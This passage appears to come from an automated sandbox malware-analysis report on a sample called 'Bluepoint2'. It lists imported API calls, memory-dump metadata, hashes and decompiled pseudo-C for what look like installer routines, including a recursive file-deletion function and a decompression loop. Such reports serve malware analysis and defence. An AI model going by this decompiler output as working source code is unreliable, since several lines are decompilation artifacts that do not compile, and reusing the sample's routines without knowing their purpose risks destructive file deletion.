                                                    • GlobalFree.KERNEL32 ref: 726F1E79
                                                    • GlobalFree.KERNEL32 ref: 726F1E7E
                                                    • GlobalFree.KERNEL32 ref: 726F2068
                                                    • lstrcpyW.KERNEL32 ref: 726F2222
                                                    • GetModuleHandleW.KERNEL32(00000008), ref: 726F22A1
                                                    • LoadLibraryW.KERNEL32(00000008), ref: 726F22B2
                                                    • GetProcAddress.KERNEL32(?,?), ref: 726F230C
                                                    • lstrlenW.KERNEL32(00000808), ref: 726F2326
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
                                                    • String ID: Nv@hv
                                                    • API String ID: 245916457-4226514844
                                                    • Opcode ID: 4f5c47e4abf7de848235edf2c478b0ead86431ceda1821a41166daa8e489264e
                                                    • Instruction ID: 3b32fcfb6598ce8ecf7dbf95bcdc8c305b8a86689f5912d32de705ee862caf42
                                                    • Opcode Fuzzy Hash: 4f5c47e4abf7de848235edf2c478b0ead86431ceda1821a41166daa8e489264e
                                                    • Instruction Fuzzy Hash: 6F228AB2D0424ADBCF15CFACC5806AEBBB2FB04399F1055ABD266E22C4E7745681CF50
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 741 405d74-405d9a call 40603f 744 405db3-405dba 741->744 745 405d9c-405dae DeleteFileW 741->745 747 405dbc-405dbe 744->747 748 405dcd-405ddd call 406668 744->748 746 405f30-405f34 745->746 749 405dc4-405dc7 747->749 750 405ede-405ee3 747->750 754 405dec-405ded call 405f83 748->754 755 405ddf-405dea lstrcatW 748->755 749->748 749->750 750->746 753 405ee5-405ee8 750->753 756 405ef2-405efa call 40699e 753->756 757 405eea-405ef0 753->757 759 405df2-405df6 754->759 755->759 756->746 765 405efc-405f10 call 405f37 call 405d2c 756->765 757->746 762 405e02-405e08 lstrcatW 759->762 763 405df8-405e00 759->763 764 405e0d-405e29 lstrlenW FindFirstFileW 762->764 763->762 763->764 766 405ed3-405ed7 764->766 767 405e2f-405e37 764->767 781 405f12-405f15 765->781 782 405f28-405f2b call 4056ca 765->782 766->750 772 405ed9 766->772 769 405e57-405e6b call 406668 767->769 770 405e39-405e41 767->770 783 405e82-405e8d call 405d2c 769->783 784 405e6d-405e75 769->784 773 405e43-405e4b 770->773 774 405eb6-405ec6 FindNextFileW 770->774 772->750 773->769 777 405e4d-405e55 773->777 774->767 780 405ecc-405ecd FindClose 774->780 777->769 777->774 780->766 781->757 785 405f17-405f26 call 4056ca call 406428 781->785 782->746 792 405eae-405eb1 call 4056ca 783->792 793 405e8f-405e92 783->793 784->774 786 405e77-405e80 call 405d74 784->786 785->746 786->774 792->774 796 405e94-405ea4 call 4056ca call 406428 793->796 797 405ea6-405eac 793->797 796->774 797->774
                                                    C-Code - Quality: 98%
                                                    			E00405D74(void* __eflags, signed int _a4, signed int _a8) {
                                                    				signed int _v8;
                                                    				signed int _v12;
                                                    				short _v556;
                                                    				short _v558;
                                                    				struct _WIN32_FIND_DATAW _v604;
                                                    				signed int _t38;
                                                    				signed int _t52;
                                                    				signed int _t55;
                                                    				signed int _t62;
                                                    				void* _t64;
                                                    				signed char _t65;
                                                    				WCHAR* _t66;
                                                    				void* _t67;
                                                    				WCHAR* _t68;
                                                    				void* _t70;
                                                    
                                                    				_t65 = _a8;
                                                    				_t68 = _a4;
                                                    				_v8 = _t65 & 0x00000004;
                                                    				_t38 = E0040603F(__eflags, _t68);
                                                    				_v12 = _t38;
                                                    				if((_t65 & 0x00000008) != 0) {
                                                    					_t62 = DeleteFileW(_t68); // executed
                                                    					asm("sbb eax, eax");
                                                    					_t64 =  ~_t62 + 1;
                                                    					 *0x42a2e8 =  *0x42a2e8 + _t64;
                                                    					return _t64;
                                                    				}
                                                    				_a4 = _t65;
                                                    				_t8 =  &_a4;
                                                    				 *_t8 = _a4 & 0x00000001;
                                                    				__eflags =  *_t8;
                                                    				if( *_t8 == 0) {
                                                    					L5:
                                                    					E00406668(0x425750, _t68);
                                                    					__eflags = _a4;
                                                    					if(_a4 == 0) {
                                                    						E00405F83(_t68);
                                                    					} else {
                                                    						lstrcatW(0x425750, L"\\*.*");
                                                    					}
                                                    					__eflags =  *_t68;
                                                    					if( *_t68 != 0) {
                                                    						L10:
                                                    						lstrcatW(_t68, 0x40a014);
                                                    						L11:
                                                    						_t66 =  &(_t68[lstrlenW(_t68)]);
                                                    						_t38 = FindFirstFileW(0x425750,  &_v604);
                                                    						_t70 = _t38;
                                                    						__eflags = _t70 - 0xffffffff;
                                                    						if(_t70 == 0xffffffff) {
                                                    							L26:
                                                    							__eflags = _a4;
                                                    							if(_a4 != 0) {
                                                    								_t30 = _t66 - 2;
                                                    								 *_t30 =  *(_t66 - 2) & 0x00000000;
                                                    								__eflags =  *_t30;
                                                    							}
                                                    							goto L28;
                                                    						} else {
                                                    							goto L12;
                                                    						}
                                                    						do {
                                                    							L12:
                                                    							__eflags = _v604.cFileName - 0x2e;
                                                    							if(_v604.cFileName != 0x2e) {
                                                    								L16:
                                                    								E00406668(_t66,  &(_v604.cFileName));
                                                    								__eflags = _v604.dwFileAttributes & 0x00000010;
                                                    								if(__eflags == 0) {
                                                    									_t52 = E00405D2C(__eflags, _t68, _v8);
                                                    									__eflags = _t52;
                                                    									if(_t52 != 0) {
                                                    										E004056CA(0xfffffff2, _t68);
                                                    									} else {
                                                    										__eflags = _v8 - _t52;
                                                    										if(_v8 == _t52) {
                                                    											 *0x42a2e8 =  *0x42a2e8 + 1;
                                                    										} else {
                                                    											E004056CA(0xfffffff1, _t68);
                                                    											E00406428(_t67, _t68, 0);
                                                    										}
                                                    									}
                                                    								} else {
                                                    									__eflags = (_a8 & 0x00000003) - 3;
                                                    									if(__eflags == 0) {
                                                    										E00405D74(__eflags, _t68, _a8);
                                                    									}
                                                    								}
                                                    								goto L24;
                                                    							}
                                                    							__eflags = _v558;
                                                    							if(_v558 == 0) {
                                                    								goto L24;
                                                    							}
                                                    							__eflags = _v558 - 0x2e;
                                                    							if(_v558 != 0x2e) {
                                                    								goto L16;
                                                    							}
                                                    							__eflags = _v556;
                                                    							if(_v556 == 0) {
                                                    								goto L24;
                                                    							}
                                                    							goto L16;
                                                    							L24:
                                                    							_t55 = FindNextFileW(_t70,  &_v604);
                                                    							__eflags = _t55;
                                                    						} while (_t55 != 0);
                                                    						_t38 = FindClose(_t70);
                                                    						goto L26;
                                                    					}
                                                    					__eflags =  *0x425750 - 0x5c;
                                                    					if( *0x425750 != 0x5c) {
                                                    						goto L11;
                                                    					}
                                                    					goto L10;
                                                    				} else {
                                                    					__eflags = _t38;
                                                    					if(_t38 == 0) {
                                                    						L28:
                                                    						__eflags = _a4;
                                                    						if(_a4 == 0) {
                                                    							L36:
                                                    							return _t38;
                                                    						}
                                                    						__eflags = _v12;
                                                    						if(_v12 != 0) {
                                                    							_t38 = E0040699E(_t68);
                                                    							__eflags = _t38;
                                                    							if(_t38 == 0) {
                                                    								goto L36;
                                                    							}
                                                    							E00405F37(_t68);
                                                    							_t38 = E00405D2C(__eflags, _t68, _v8 | 0x00000001);
                                                    							__eflags = _t38;
                                                    							if(_t38 != 0) {
                                                    								return E004056CA(0xffffffe5, _t68);
                                                    							}
                                                    							__eflags = _v8;
                                                    							if(_v8 == 0) {
                                                    								goto L30;
                                                    							}
                                                    							E004056CA(0xfffffff1, _t68);
                                                    							return E00406428(_t67, _t68, 0);
                                                    						}
                                                    						L30:
                                                    						 *0x42a2e8 =  *0x42a2e8 + 1;
                                                    						return _t38;
                                                    					}
                                                    					__eflags = _t65 & 0x00000002;
                                                    					if((_t65 & 0x00000002) == 0) {
                                                    						goto L28;
                                                    					}
                                                    					goto L5;
                                                    				}
                                                    			}


















                                                    0x00405d7e
                                                    0x00405d83
                                                    0x00405d8c
                                                    0x00405d8f
                                                    0x00405d97
                                                    0x00405d9a
                                                    0x00405d9d
                                                    0x00405da5
                                                    0x00405da7
                                                    0x00405da8
                                                    0x00000000
                                                    0x00405da8
                                                    0x00405db3
                                                    0x00405db6
                                                    0x00405db6
                                                    0x00405db6
                                                    0x00405dba
                                                    0x00405dcd
                                                    0x00405dd4
                                                    0x00405dd9
                                                    0x00405ddd
                                                    0x00405ded
                                                    0x00405ddf
                                                    0x00405de5
                                                    0x00405de5
                                                    0x00405df2
                                                    0x00405df6
                                                    0x00405e02
                                                    0x00405e08
                                                    0x00405e0d
                                                    0x00405e13
                                                    0x00405e1e
                                                    0x00405e24
                                                    0x00405e26
                                                    0x00405e29
                                                    0x00405ed3
                                                    0x00405ed3
                                                    0x00405ed7
                                                    0x00405ed9
                                                    0x00405ed9
                                                    0x00405ed9
                                                    0x00405ed9
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00405e2f
                                                    0x00405e2f
                                                    0x00405e2f
                                                    0x00405e37
                                                    0x00405e57
                                                    0x00405e5f
                                                    0x00405e64
                                                    0x00405e6b
                                                    0x00405e86
                                                    0x00405e8b
                                                    0x00405e8d
                                                    0x00405eb1
                                                    0x00405e8f
                                                    0x00405e8f
                                                    0x00405e92
                                                    0x00405ea6
                                                    0x00405e94
                                                    0x00405e97
                                                    0x00405e9f
                                                    0x00405e9f
                                                    0x00405e92
                                                    0x00405e6d
                                                    0x00405e73
                                                    0x00405e75
                                                    0x00405e7b
                                                    0x00405e7b
                                                    0x00405e75
                                                    0x00000000
                                                    0x00405e6b
                                                    0x00405e39
                                                    0x00405e41
                                                    0x00000000
                                                    0x00000000
                                                    0x00405e43
                                                    0x00405e4b
                                                    0x00000000
                                                    0x00000000
                                                    0x00405e4d
                                                    0x00405e55
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00405eb6
                                                    0x00405ebe
                                                    0x00405ec4
                                                    0x00405ec4
                                                    0x00405ecd
                                                    0x00000000
                                                    0x00405ecd
                                                    0x00405df8
                                                    0x00405e00
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00405dbc
                                                    0x00405dbc
                                                    0x00405dbe
                                                    0x00405ede
                                                    0x00405ee0
                                                    0x00405ee3
                                                    0x00405f34
                                                    0x00405f34
                                                    0x00405f34
                                                    0x00405ee5
                                                    0x00405ee8
                                                    0x00405ef3
                                                    0x00405ef8
                                                    0x00405efa
                                                    0x00000000
                                                    0x00000000
                                                    0x00405efd
                                                    0x00405f09
                                                    0x00405f0e
                                                    0x00405f10
                                                    0x00000000
                                                    0x00405f2b
                                                    0x00405f12
                                                    0x00405f15
                                                    0x00000000
                                                    0x00000000
                                                    0x00405f1a
                                                    0x00000000
                                                    0x00405f21
                                                    0x00405eea
                                                    0x00405eea
                                                    0x00000000
                                                    0x00405eea
                                                    0x00405dc4
                                                    0x00405dc7
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00405dc7

                                                    APIs
                                                    • DeleteFileW.KERNELBASE(?,?,76F1FAA0,76F1F560,00000000), ref: 00405D9D
                                                    • lstrcatW.KERNEL32(00425750,\*.*), ref: 00405DE5
                                                    • lstrcatW.KERNEL32(?,0040A014), ref: 00405E08
                                                    • lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,76F1FAA0,76F1F560,00000000), ref: 00405E0E
                                                    • FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,76F1FAA0,76F1F560,00000000), ref: 00405E1E
                                                    • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
                                                    • FindClose.KERNEL32(00000000), ref: 00405ECD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                    • String ID: .$.$PWB$\*.*
                                                    • API String ID: 2035342205-2468439962
                                                    • Opcode ID: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
                                                    • Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
                                                    • Opcode Fuzzy Hash: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
                                                    • Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1024 406d5f-406d64 1025 406dd5-406df3 1024->1025 1026 406d66-406d95 1024->1026 1027 4073cb-4073e0 1025->1027 1028 406d97-406d9a 1026->1028 1029 406d9c-406da0 1026->1029 1030 4073e2-4073f8 1027->1030 1031 4073fa-407410 1027->1031 1032 406dac-406daf 1028->1032 1033 406da2-406da6 1029->1033 1034 406da8 1029->1034 1035 407413-40741a 1030->1035 1031->1035 1036 406db1-406dba 1032->1036 1037 406dcd-406dd0 1032->1037 1033->1032 1034->1032 1038 407441-40744d 1035->1038 1039 40741c-407420 1035->1039 1041 406dbc 1036->1041 1042 406dbf-406dcb 1036->1042 1040 406fa2-406fc0 1037->1040 1050 406be3-406bec 1038->1050 1044 407426-40743e 1039->1044 1045 4075cf-4075d9 1039->1045 1047 406fc2-406fd6 1040->1047 1048 406fd8-406fea 1040->1048 1041->1042 1043 406e35-406e63 1042->1043 1051 406e65-406e7d 1043->1051 1052 406e7f-406e99 1043->1052 1044->1038 1049 4075e5-4075f8 1045->1049 1053 406fed-406ff7 1047->1053 1048->1053 1057 4075fd-407601 1049->1057 1054 406bf2 1050->1054 1055 4075fa 1050->1055 1056 406e9c-406ea6 1051->1056 1052->1056 1058 406ff9 1053->1058 1059 406f9a-406fa0 1053->1059 1060 406bf9-406bfd 1054->1060 1061 406d39-406d5a 1054->1061 1062 406c9e-406ca2 1054->1062 1063 406d0e-406d12 1054->1063 1055->1057 1065 406eac 1056->1065 1066 406e1d-406e23 1056->1066 1067 406f75-406f79 1058->1067 1068 40710a-407117 1058->1068 1059->1040 1064 406f3e-406f48 1059->1064 1060->1049 1075 406c03-406c10 1060->1075 1061->1027 1069 406ca8-406cc1 1062->1069 1070 40754e-407558 1062->1070 1078 406d18-406d2c 1063->1078 1079 40755d-407567 1063->1079 1071 40758d-407597 1064->1071 1072 406f4e-406f70 1064->1072 1082 406e02-406e1a 1065->1082 1083 407569-407573 1065->1083 1073 406ed6-406edc 1066->1073 1074 406e29-406e2f 1066->1074 1076 407581-40758b 1067->1076 1077 406f7f-406f97 1067->1077 1068->1050 1081 406cc4-406cc8 1069->1081 1070->1049 1071->1049 1072->1068 1084 406f3a 1073->1084 1087 406ede-406efc 1073->1087 1074->1043 1074->1084 1075->1055 1085 406c16-406c5c 1075->1085 1076->1049 1077->1059 1086 406d2f-406d37 1078->1086 1079->1049 1081->1062 1090 406cca-406cd0 1081->1090 1082->1066 1083->1049 1084->1064 1091 406c84-406c86 1085->1091 1092 406c5e-406c62 1085->1092 1086->1061 1086->1063 1088 406f14-406f26 1087->1088 1089 406efe-406f12 1087->1089 1093 406f29-406f33 1088->1093 1089->1093 1094 406cd2-406cd9 1090->1094 1095 406cfa-406d0c 1090->1095 1098 406c94-406c9c 1091->1098 1099 406c88-406c92 1091->1099 1096 406c64-406c67 GlobalFree 1092->1096 1097 406c6d-406c7b GlobalAlloc 1092->1097 1093->1073 1100 406f35 1093->1100 1101 406ce4-406cf4 GlobalAlloc 1094->1101 1102 406cdb-406cde GlobalFree 1094->1102 1095->1086 1096->1097 1097->1055 1103 406c81 1097->1103 1098->1081 1099->1098 1099->1099 1105 407575-40757f 1100->1105 1106 406ebb-406ed3 1100->1106 1101->1055 1101->1095 1102->1101 1103->1091 1105->1049 1106->1073
                                                    C-Code - Quality: 98%
                                                    			E00406D5F() {
                                                    				unsigned short _t531;
                                                    				signed int _t532;
                                                    				void _t533;
                                                    				void* _t534;
                                                    				signed int _t535;
                                                    				signed int _t565;
                                                    				signed int _t568;
                                                    				signed int _t590;
                                                    				signed int* _t607;
                                                    				void* _t614;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					if( *(_t614 - 0x40) != 0) {
                                                    						 *(_t614 - 0x34) = 1;
                                                    						 *(_t614 - 0x84) = 7;
                                                    						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
                                                    						L132:
                                                    						 *(_t614 - 0x54) = _t607;
                                                    						L133:
                                                    						_t531 =  *_t607;
                                                    						_t590 = _t531 & 0x0000ffff;
                                                    						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
                                                    						if( *(_t614 - 0xc) >= _t565) {
                                                    							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
                                                    							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
                                                    							 *(_t614 - 0x40) = 1;
                                                    							_t532 = _t531 - (_t531 >> 5);
                                                    							 *_t607 = _t532;
                                                    						} else {
                                                    							 *(_t614 - 0x10) = _t565;
                                                    							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                                    							 *_t607 = (0x800 - _t590 >> 5) + _t531;
                                                    						}
                                                    						if( *(_t614 - 0x10) >= 0x1000000) {
                                                    							L139:
                                                    							_t533 =  *(_t614 - 0x84);
                                                    							L140:
                                                    							 *(_t614 - 0x88) = _t533;
                                                    							goto L1;
                                                    						} else {
                                                    							L137:
                                                    							if( *(_t614 - 0x6c) == 0) {
                                                    								 *(_t614 - 0x88) = 5;
                                                    								goto L170;
                                                    							}
                                                    							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                    							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                    							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                                    							goto L139;
                                                    						}
                                                    					} else {
                                                    						__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    						__esi =  *(__ebp - 0x60);
                                                    						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    						__ecx =  *(__ebp - 0x3c);
                                                    						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    						__ecx =  *(__ebp - 4);
                                                    						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    						if( *(__ebp - 0x38) >= 4) {
                                                    							if( *(__ebp - 0x38) >= 0xa) {
                                                    								_t97 = __ebp - 0x38;
                                                    								 *_t97 =  *(__ebp - 0x38) - 6;
                                                    							} else {
                                                    								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    							}
                                                    						} else {
                                                    							 *(__ebp - 0x38) = 0;
                                                    						}
                                                    						if( *(__ebp - 0x34) == __edx) {
                                                    							__ebx = 0;
                                                    							__ebx = 1;
                                                    							L60:
                                                    							__eax =  *(__ebp - 0x58);
                                                    							__edx = __ebx + __ebx;
                                                    							__ecx =  *(__ebp - 0x10);
                                                    							__esi = __edx + __eax;
                                                    							__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    							__ax =  *__esi;
                                                    							 *(__ebp - 0x54) = __esi;
                                                    							__edi = __ax & 0x0000ffff;
                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    								__cx = __ax;
                                                    								_t216 = __edx + 1; // 0x1
                                                    								__ebx = _t216;
                                                    								__cx = __ax >> 5;
                                                    								 *__esi = __ax;
                                                    							} else {
                                                    								 *(__ebp - 0x10) = __ecx;
                                                    								0x800 = 0x800 - __edi;
                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    								__ebx = __ebx + __ebx;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							 *(__ebp - 0x44) = __ebx;
                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                    								L59:
                                                    								if(__ebx >= 0x100) {
                                                    									goto L54;
                                                    								}
                                                    								goto L60;
                                                    							} else {
                                                    								L57:
                                                    								if( *(__ebp - 0x6c) == 0) {
                                                    									 *(__ebp - 0x88) = 0xf;
                                                    									goto L170;
                                                    								}
                                                    								__ecx =  *(__ebp - 0x70);
                                                    								__eax =  *(__ebp - 0xc);
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    								_t202 = __ebp - 0x70;
                                                    								 *_t202 =  *(__ebp - 0x70) + 1;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    								goto L59;
                                                    							}
                                                    						} else {
                                                    							__eax =  *(__ebp - 0x14);
                                                    							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    							if(__eax >=  *(__ebp - 0x74)) {
                                                    								__eax = __eax +  *(__ebp - 0x74);
                                                    							}
                                                    							__ecx =  *(__ebp - 8);
                                                    							__ebx = 0;
                                                    							__ebx = 1;
                                                    							__al =  *((intOrPtr*)(__eax + __ecx));
                                                    							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    							L40:
                                                    							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    							__ecx =  *(__ebp - 0x58);
                                                    							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    							 *(__ebp - 0x48) = __eax;
                                                    							__eax = __eax + 1;
                                                    							__eax = __eax << 8;
                                                    							__eax = __eax + __ebx;
                                                    							__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    							__ax =  *__esi;
                                                    							 *(__ebp - 0x54) = __esi;
                                                    							__edx = __ax & 0x0000ffff;
                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    								__cx = __ax;
                                                    								 *(__ebp - 0x40) = 1;
                                                    								__cx = __ax >> 5;
                                                    								__ebx = __ebx + __ebx + 1;
                                                    								 *__esi = __ax;
                                                    							} else {
                                                    								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    								 *(__ebp - 0x10) = __ecx;
                                                    								0x800 = 0x800 - __edx;
                                                    								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    								__ebx = __ebx + __ebx;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							 *(__ebp - 0x44) = __ebx;
                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                    								L38:
                                                    								__eax =  *(__ebp - 0x40);
                                                    								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    									while(1) {
                                                    										if(__ebx >= 0x100) {
                                                    											break;
                                                    										}
                                                    										__eax =  *(__ebp - 0x58);
                                                    										__edx = __ebx + __ebx;
                                                    										__ecx =  *(__ebp - 0x10);
                                                    										__esi = __edx + __eax;
                                                    										__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    										__ax =  *__esi;
                                                    										 *(__ebp - 0x54) = __esi;
                                                    										__edi = __ax & 0x0000ffff;
                                                    										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    										if( *(__ebp - 0xc) >= __ecx) {
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    											__cx = __ax;
                                                    											_t169 = __edx + 1; // 0x1
                                                    											__ebx = _t169;
                                                    											__cx = __ax >> 5;
                                                    											 *__esi = __ax;
                                                    										} else {
                                                    											 *(__ebp - 0x10) = __ecx;
                                                    											0x800 = 0x800 - __edi;
                                                    											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    											__ebx = __ebx + __ebx;
                                                    											 *__esi = __cx;
                                                    										}
                                                    										 *(__ebp - 0x44) = __ebx;
                                                    										if( *(__ebp - 0x10) < 0x1000000) {
                                                    											L45:
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xe;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t155 = __ebp - 0x70;
                                                    											 *_t155 =  *(__ebp - 0x70) + 1;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    										}
                                                    									}
                                                    									L53:
                                                    									_t172 = __ebp - 0x34;
                                                    									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
                                                    									L54:
                                                    									__al =  *(__ebp - 0x44);
                                                    									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    									L55:
                                                    									if( *(__ebp - 0x64) == 0) {
                                                    										 *(__ebp - 0x88) = 0x1a;
                                                    										goto L170;
                                                    									}
                                                    									__ecx =  *(__ebp - 0x68);
                                                    									__al =  *(__ebp - 0x5c);
                                                    									__edx =  *(__ebp - 8);
                                                    									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    									 *( *(__ebp - 0x68)) = __al;
                                                    									__ecx =  *(__ebp - 0x14);
                                                    									 *(__ecx +  *(__ebp - 8)) = __al;
                                                    									__eax = __ecx + 1;
                                                    									__edx = 0;
                                                    									_t191 = __eax %  *(__ebp - 0x74);
                                                    									__eax = __eax /  *(__ebp - 0x74);
                                                    									__edx = _t191;
